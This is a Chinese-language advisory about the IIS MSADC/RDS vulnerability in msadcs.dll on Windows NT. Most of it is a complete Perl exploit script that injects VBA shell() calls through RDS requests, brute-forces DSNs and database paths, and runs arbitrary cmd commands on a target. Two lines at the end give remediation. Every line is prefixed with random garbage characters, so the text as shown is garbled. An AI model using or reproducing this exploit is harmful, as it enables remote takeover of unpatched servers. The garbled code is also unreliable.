IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
0e#PN@ gn/]1NNfR 涉及程序：
O^. /) #!# Microsoft NT server
)S4ga , vvf k=- 描述：
8Vn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1V[ZklS saZK+kD4I 详细：
&@{` { 如果你没有时间读详细内容的话，就删除:
& I)tI^P} c:\Program Files\Common Files\System\Msadc\msadcs.dll
8r[TM 有关的安全问题就没有了。
W[`ybGR< 52#
*{q} 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ND?"1/s E]&N'+T
1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
C^ 'r>0 关于利用ODBC远程漏洞的描述，请参看:
/<[_V/g[t? ZHeue_~x4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Uv.Xw} q 0Qeda@J 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
S?i ^ ~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp h7K,q S x4g6Qze 这里不再论述。
yyu -y0_ $4ZV(j] 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
By!u*vSev =Oh$pZRymu /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"8z Me L 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Si ~wig2 ljr J C #k>n5cR@0 #将下面这段保存为txt文件，然后: "perl -x 文件名"
rmvrv.$3 ZW"f*vwQo #!perl
\pK&gdw #
?Q=(?yR0] # MSADC/RDS 'usage' (aka exploit) script
/{8Y,pZbu #
@##}zku # by rain.forest.puppy
H*0g*( #
+RpCh!KP # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#WG;p(?: # beta test and find errors!
3K~^H1l D1>*ml use Socket; use Getopt::Std;
& u[F)| getopts("e:vd:h:XR", \%args);
AriV4 + ~MB)}!S: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#2Q%sE? %j1 7QD8 if (!defined $args{h} && !defined $args{R}) {
|SMigSu r` print qq~
!U(S?:hvW Usage: msadc.pl -h <host> { -d <delay> -X -v }
h V`?,
~K -h <host> = host you want to scan (ip or domain)
hF^JSCDz l -d <seconds> = delay between calls, default 1 second
>zJk G9a -X = dump Index Server path table, if available
yCkWuU9 -v = verbose
O(0a l#Fvj -e = external dictionary file for step 5
9dszn^]T mqJ D+ K Or a -R will resume a command session
`'r]Oe JF}i=} ~; exit;}
KdHkX+-R }>y~P~`S: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!(Y|Vm' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:u=y7 [I if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!7#*Wdt+P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]CS
N7Q+l $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
u}R| q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
MxGQM> a>8] +@ if (!defined $args{R}){ $ret = &has_msadc;
l1 08.ao die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
G&wYV[Ln
E) I&? <g print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d9e~><bPJ . "cmd /c ";
j /T@-7^0 $in=<STDIN>; chomp $in;
T=V{3v@zs $command="cmd /c " . $in ;
$[cB6 :|I"Em3R if (defined $args{R}) {&load; exit;}
y}U'8*, Gk58VODo print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
VOATza` &try_btcustmr;
A9DFZZ0 at*DYZBjDB print "\nStep 2: Trying to make our own DSN...";
+dq2}gM &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
R "t2=3K + ZE"pA^C print "\nStep 3: Trying known DSNs...";
y\iECdPU &known_dsn;
zKYN5|17 5>1c4u`x print "\nStep 4: Trying known .mdbs...";
F)'_,.?0 &known_mdb;
T DP Q+Kg_ 1,Pg^Xu if (defined $args{e}){
"Gqas bX print "\nStep 5: Trying dictionary of DSN names...";
cqZ lpm$c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7I(QTc)* <Z]j89wzDZ print "Sorry Charley...maybe next time?\n";
2" Unk\Y exit;
(]fbCH: j9Z1=z ##############################################################################
6+>X`k%D yg|yoL'g sub sendraw { # ripped and modded from whisker
@frV:% sleep($delay); # it's a DoS on the server! At least on mine...
O py{i#> my ($pstr)=@_;
)&)tX. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W Kd:O)J die("Socket problems\n");
9dp4&&Z+F if(connect(S,pack "SnA4x8",2,80,$target)){
2ss *&BR. select(S); $|=1;
` -f\6r|:) print $pstr; my @in=<S>;
vf?m6CMU ! select(STDOUT); close(S);
!,7)ZW? *8 return @in;
r:U<cL T[9 } else { die("Can't connect...\n"); }}
mv*M2NuhT \Y:zg3q* ##############################################################################
$Zrc- tkV YO@~y *, sub make_header { # make the HTTP request
J<cY'?D my $msadc=<<EOT
.k ! 2{A POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
G [yI[7=d User-Agent: ACTIVEDATA
sC :.}6 Host: $ip
Y{4nBu Content-Length: $clen
` v /p4/ Connection: Keep-Alive
7Z}T!HFMr %|2x7@&s ADCClientVersion:01.06
e<u~v0rDl Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Fb{HiU9<! O6q5qA --!ADM!ROX!YOUR!WORLD!
VF<VyWFC0` Content-Type: application/x-varg
gd]k3XN$f Content-Length: $reqlen
-gb@BIV# { ux'9SA EOT
iN L>TVUM ; $msadc=~s/\n/\r\n/g;
? EhIK return $msadc;}
<{eJbN p %wJ>V-\e ##############################################################################
_(@V f=t ZU 7u> sub make_req { # make the RDS request
xWWVU}fd1 my ($switch, $p1, $p2)=@_;
`Z2-<:]6&a my $req=""; my $t1, $t2, $query, $dsn;
,;h} <("q X4bZ4U* if ($switch==1){ # this is the btcustmr.mdb query
WZ bRR.TxO $query="Select * from Customers where City=" . make_shell();
U'} [:h~) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
lb}:! Y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
[F27i#'I] gPpk0LZi elsif ($switch==2){ # this is general make table query
Fcn@j#[J $query="create table AZZ (B int, C varchar(10))";
&D7Mv5i0@ $dsn="$p1";}
=AuxME g u$"Ew^C elsif ($switch==3){ # this is general exploit table query
^w
jM u5f $query="select * from AZZ where C=" . make_shell();
)b|xzj @ $dsn="$p1";}
*>lXCx `7 Nk; elsif ($switch==4){ # attempt to hork file info from index server
cm>+f ^4?n $query="select path from scope()";
>+[{m<Eq $dsn="Provider=MSIDXS;";}
ge{%B~x $cO-+Mr-~ elsif ($switch==5){ # bad query
j W -K $query="select";
clT[ ?8* $dsn="$p1";}
HNX/#?3
[hiV # $t1= make_unicode($query);
3HndE~_C& $t2= make_unicode($dsn);
-ozcK $req = "\x02\x00\x03\x00";
t0ZaI E $req.= "\x08\x00" . pack ("S1", length($t1));
#6 $W uIG $req.= "\x00\x00" . $t1 ;
k,/2]{#53d $req.= "\x08\x00" . pack ("S1", length($t2));
v@:m8Y(t $req.= "\x00\x00" . $t2 ;
5lE9U oG[Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
pf&SIG return $req;}
t1 o_x}z4. 3` njQvI\ ##############################################################################
VQ2B|v o~'UWU'# sub make_shell { # this makes the shell() statement
1L _(n
return "'|shell(\"$command\")|'";}
h7}P5z0F ;'4K g@/ ##############################################################################
}~ga86:n0 #4& <d.aw' sub make_unicode { # quick little function to convert to unicode
-D_xA10 my ($in)=@_; my $out;
jXyK[q&O& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kl5Y{![/&f return $out;}
A ^7}:[s20 :rN5HOg^9 ##############################################################################
E c!R 3+ 8H{9 sub rdo_success { # checks for RDO return success (this is kludge)
YD; "_yH my (@in) = @_; my $base=content_start(@in);
>td\PW~ X if($in[$base]=~/multipart\/mixed/){
<IQ}j^u-F return 1 if( $in[$base+10]=~/^\x09\x00/ );}
h]^=
y.Q return 0;}
=#?=Lh E@)9'?q ##############################################################################
D{]9 s $ 4>x4* sub make_dsn { # this makes a DSN for us
T '%R kag> my @drives=("c","d","e","f");
k= .pcDX print "\nMaking DSN: ";
6p~8(-nG foreach $drive (@drives) {
jbu+> print "$drive: ";
2,'%G\QT my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ju/#V}N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@9h6D<? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
g;</ |Z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
lUM-~ return 0 if $2 eq "404"; # not found/doesn't exist
I oC}0C7 if($2 eq "200") {
/h K/t; foreach $line (@results) {
iaQ3mk# return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
2NWQiSz } return 0;}
R-BN}ZS m)xz_Plc ##############################################################################
!MD uj l|
QQ sub verify_exists {
20B U;D3 my ($page)=@_;
zWq&HBs my @results=sendraw("GET $page HTTP/1.0\n\n");
BGL-lJrG return $results[0];}
,) 3Eog\- 0d #jiG ##############################################################################
Ec eD\ }
A@
4Oq sub try_btcustmr {
x`zE#sD my @drives=("c","d","e","f");
kwpbg Q my @dirs=("winnt","winnt35","winnt351","win","windows");
jsIT{a*] SHUn<+/e foreach $dir (@dirs) {
jRSY`MU}t+ print "$dir -> "; # fun status so you can see progress
JO| xX<#: foreach $drive (@drives) {
%`^{Hh` print "$drive: "; # ditto
a^Lo;kHY $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[7=?I.\Cr7 $reqlenlen=length( "$reqlen" );
aumM\rY $clen= 206 + $reqlenlen + $reqlen;
N5@ l[F7I sFonc my @results=sendraw(make_header() . make_req(1,$drive,$dir));
$ ud\CU:r if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
( p}N
cn. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
N/eFwv.Er n~v* ##############################################################################
Q`(h #TG.weTC sub odbc_error {
FK`M+ j my (@in)=@_; my $base;
+ dF/$+t my $base = content_start(@in);
G29 7)MFF if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-jL1 0~/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PR yzUG& $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{{e+t8J?? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\PgMMc4' return $in[$base+4].$in[$base+5].$in[$base+6];}
eih~ SBSH print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
U: O&FE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"A3V(~%! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
G}gmkp]z H!uq5` j0K ##############################################################################
sWX\/Iyy2p D=!5l 4 sub verbose {
,~ qjL|9 my ($in)=@_;
)W$@phY(I return if !$verbose;
g7<u eF print STDOUT "\n$in\n";}
#(Ezt% ^ {&s.* 5 ##############################################################################
5SwQ9 # DeR C_ [ sub save {
OE_A$8L my ($p1, $p2, $p3, $p4)=@_;
];au!
_o open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$Rv (v% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y,vrMWDy close OUT;}
q b7ur; s_Gf7uC ##############################################################################
jL9to6 Hmr |s*tRag sub load {
Y|N.R(sAs& my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
w2o5+G= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
p& +w @p=<IN>; close(IN);
Tn(c%ytN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
($*R>*6< x $target= inet_aton($ip) || die("inet_aton problems");
VW *d*! print "Resuming to $ip ...";
n~G-X
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
WeRX ~ if($p[1]==1) {
gC \ ^"m $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`{W>Dy $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
G}p* oz~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Q
a8;MxK` if (rdo_success(@results)){print "Success!\n";}
6`sS8Ar&u else { print "failed\n"; verbose(odbc_error(@results));}}
|Gn qfD elsif ($p[1]==3){
>p@v'h/Cr if(run_query("$p[3]")){
\} +b_J6- print "Success!\n";} else { print "failed\n"; }}
zkmfu~_) elsif ($p[1]==4){
I 7s}{pG if(run_query($drvst . "$p[3]")){
t {Xf3. print "Success!\n"; } else { print "failed\n"; }}
/;a b"b exit;}
/U =eB?> C9%2}E3Z$) ##############################################################################
+'QE-#%{= =hDFpb,mr sub create_table {
ZT%Q:]B+ my ($in)=@_;
(SGU]@)g $reqlen=length( make_req(2,$in,"") ) - 28;
rk .tLk $reqlenlen=length( "$reqlen" );
Z^SF $+ UN $clen= 206 + $reqlenlen + $reqlen;
VLs%;|`5D my @results=sendraw(make_header() . make_req(2,$in,""));
;$$.L
bb8 return 1 if rdo_success(@results);
oV Hh my $temp= odbc_error(@results); verbose($temp);
\?rBtD( return 1 if $temp=~/Table 'AZZ' already exists/;
&WAJ;7f return 0;}
'r_NA!R ]9/{ ##############################################################################
}KCb5_MDF M~ t;&po sub known_dsn {
|\_d^U &` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fPu, @
L
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^TCgSi7k`L "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
qJPEq%'Q "banner", "banners", "ads", "ADCDemo", "ADCTest");
w.6 Gp;O z]O,Vqpl? foreach $dSn (@dsns) {
QpC,komLJ print ".";
2P4$^G[ next if (!is_access("DSN=$dSn"));
; E]^7T if(create_table("DSN=$dSn")){
tX *}l|;( print "$dSn successful\n";
S, %BhQ[ if(run_query("DSN=$dSn")){
=[T_` *s& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NM:\T1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
l&4+v.zr : r,o-D ##############################################################################
` '
"1 25T ^t#W?rxp& sub is_access {
!%s&GD8&l my ($in)=@_;
9 9S-P}xd $reqlen=length( make_req(5,$in,"") ) - 28;
$MB /j6 #j $reqlenlen=length( "$reqlen" );
VQ((c:+! $clen= 206 + $reqlenlen + $reqlen;
/WWD;keP5 my @results=sendraw(make_header() . make_req(5,$in,""));
:Mq-4U .e my $temp= odbc_error(@results);
q=(.N>% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d0MF\yxh return 0;}
kz+OUA@ ~ qe"t0w|U? ##############################################################################
& ]mZp&
re;^, sub run_query {
HHU0Nku@ho my ($in)=@_;
R#0Z $reqlen=length( make_req(3,$in,"") ) - 28;
2 N$yn $reqlenlen=length( "$reqlen" );
j9G1
_ $clen= 206 + $reqlenlen + $reqlen;
vsL)E:0 my @results=sendraw(make_header() . make_req(3,$in,""));
E |BE(F;K return 1 if rdo_success(@results);
lyYi2& % my $temp= odbc_error(@results); verbose($temp);
}E%#g# return 0;}
/<W K2G b ?-VZA: ##############################################################################
i1E~ F f R?Xq@c sub known_mdb {
N
2\lBi my @drives=("c","d","e","f","g");
bO2s'!x my @dirs=("winnt","winnt35","winnt351","win","windows");
ohPCYt my $dir, $drive, $mdb;
q V +g Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l[D5JnWxt )lsR8 Hi8 # this is sparse, because I don't know of many
2Yt+[T* my @sysmdbs=( "\\catroot\\icatalog.mdb",
gZLzE *NZ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5o&no RIIr "\\system32\\certmdb.mdb",
gN("{j1Q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
4$^\s5 K :s5wFumD my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
tUPdq 0%t[ "\\cfusion\\cfapps\\forums\\forums_.mdb",
$xl>YYEBMH "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
(+^z9p7/! "\\cfusion\\cfapps\\security\\realm_.mdb",
C%l +<wpXO "\\cfusion\\cfapps\\security\\data\\realm.mdb",
S[zX@3eZV "\\cfusion\\database\\cfexamples.mdb",
9< $n'g "\\cfusion\\database\\cfsnippets.mdb",
bXw!fYm& "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[~[)C]-= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
/\0 rRT "\\cfusion\\brighttiger\\database\\cleam.mdb",
WK<:(vu. "\\cfusion\\database\\smpolicy.mdb",
6pCQ P
c*A "\\cfusion\\database\cypress.mdb",
tin5.N)"z "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
r a 4$/@3n "\\website\\cgi-win\\dbsample.mdb",
7\?0d! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
IW<nfg "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!8 V ); #these are just
yK3b^ foreach $drive (@drives) {
6|-V{ foreach $dir (@dirs){
hhU:
nw foreach $mdb (@sysmdbs) {
s.p4+K J print ".";
'q_^28rK if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
D%+cf print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i 6@c@n if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x # Um` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Pzl2X@{ % } else { print "Something's borked. Use verbose next time\n"; }}}}}
ev}ugRxt|k &eqeQD6 foreach $drive (@drives) {
*4 9lM; foreach $mdb (@mdbs) {
[$ <\*d/ print ".";
..5rW0lr if(create_table($drv . $drive . $dir . $mdb)){
X '
,0vK print "\n" . $drive . $dir . $mdb . " successful\n";
e2 X\ll if(run_query($drv . $drive . $dir . $mdb)){
CC8)yO print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
g]V_)} } else { print "Something's borked. Use verbose next time\n"; }}}}
m@Vz42g~+ }
@*VfG CQ( ;;#_[Zl ##############################################################################
nH=8I~jp @g{FNXY$ m sub hork_idx {
3iI 4yg print "\nAttempting to dump Index Server tables...\n";
BM,]Wjfdj print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%]m/fo4b $reqlen=length( make_req(4,"","") ) - 28;
h'tb $reqlenlen=length( "$reqlen" );
&O:IRR7p $clen= 206 + $reqlenlen + $reqlen;
Yi5^# G my @results=sendraw2(make_header() . make_req(4,"",""));
,L.*95 , if (rdo_success(@results)){
@> ]O6P2 my $max=@results; my $c; my %d;
;;zQV D )X for($c=19; $c<$max; $c++){
5S
EyAhB $results[$c]=~s/\x00//g;
;
m]KKB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
, Y\`n7Ww $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+' lj\_n $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
rEF0A &5 $d{"$1$2"}="";}
a^ _ _Z3g, foreach $c (keys %d){ print "$c\n"; }
:Q=tGj\ G } else {print "Index server doesn't seem to be installed.\n"; }}
-*<4 hFb T|%pvTI e ##############################################################################
[@&0@/s*t' K|{IX^3)V sub dsn_dict {
? +q(,P@* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Wz%b,! while(<IN>){
xRI7_8Jpyn $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8? za&v next if (!is_access("DSN=$dSn"));
RZgkl EU if(create_table("DSN=$dSn")){
LrGLIt` print "$dSn successful\n";
=sYUzYm if(run_query("DSN=$dSn")){
`Q@w*ta) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.T63: print "Something's borked. Use verbose next time\n";}}}
5vmc'Om print "\n"; close(IN);}
XB.xIApmy Nf!g1D"U ##############################################################################
`+\6; nM h n -!W;j sub sendraw2 { # ripped and modded from whisker
Ki,SFww8r sleep($delay); # it's a DoS on the server! At least on mine...
3tjF4C>h| my ($pstr)=@_;
&qjc+ -r{l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1z6$>{FUR die("Socket problems\n");
wOLDHg_ if(connect(S,pack "SnA4x8",2,80,$target)){
j GSY$nt9 print "Connected. Getting data";
i eL7jN,'m open(OUT,">raw.out"); my @in;
]VCVV!G_=n select(S); $|=1; print $pstr;
9Ev<t \B while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
5Qh$>R4!" close(OUT); select(STDOUT); close(S); return @in;
5{"v/nXV } else { die("Can't connect...\n"); }}
p|gzU$FWbk x* 9 Xu"? ##############################################################################
J\@W+/# dF !2o1c sub content_start { # this will take in the server headers
[qL{w&R my (@in)=@_; my $c;
i!a . 6Gq for ($c=1;$c<500;$c++) {
) /y7Fh if($in[$c] =~/^\x0d\x0a/){
3 i;sB if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
y v58~w*" else { return $c+1; }}}
mM $|cge" return -1;} # it should never get here actually
JH|]B|3 @7? O#WmL ##############################################################################
F 4*ssx 4 x)etH^o sub funky {
1o8C4?T& my (@in)=@_; my $error=odbc_error(@in);
Ov-Y.+L: if($error=~/ADO could not find the specified provider/){
Hh1]\4D, 4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ixY[ HDPq exit;}
sOyL if($error=~/A Handler is required/){
j% `%
DQ print "\nServer has custom handler filters (they most likely are patched)\n";
CiNOGSlDj exit;}
2bnYYQ14: if($error=~/specified Handler has denied Access/){
z%E o k print "\nServer has custom handler filters (they most likely are patched)\n";
CK"OHjR exit;}}
M/mm 2?4 7@1GSO: Yf ##############################################################################
]i:_^z)R [2P6Xo I# sub has_msadc {
N*`qsv 0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
H,3WdSL`K my $base=content_start(@results);
K0usBA return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@dyh: 2! return 0;}
&E+mXEve *8I"7'xh ########################
'nT#c[x[0 QG= K ^g II'"Nkxd 解决方案：
9R m\@E
[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
I !J' 2、移除web 目录: /msadc
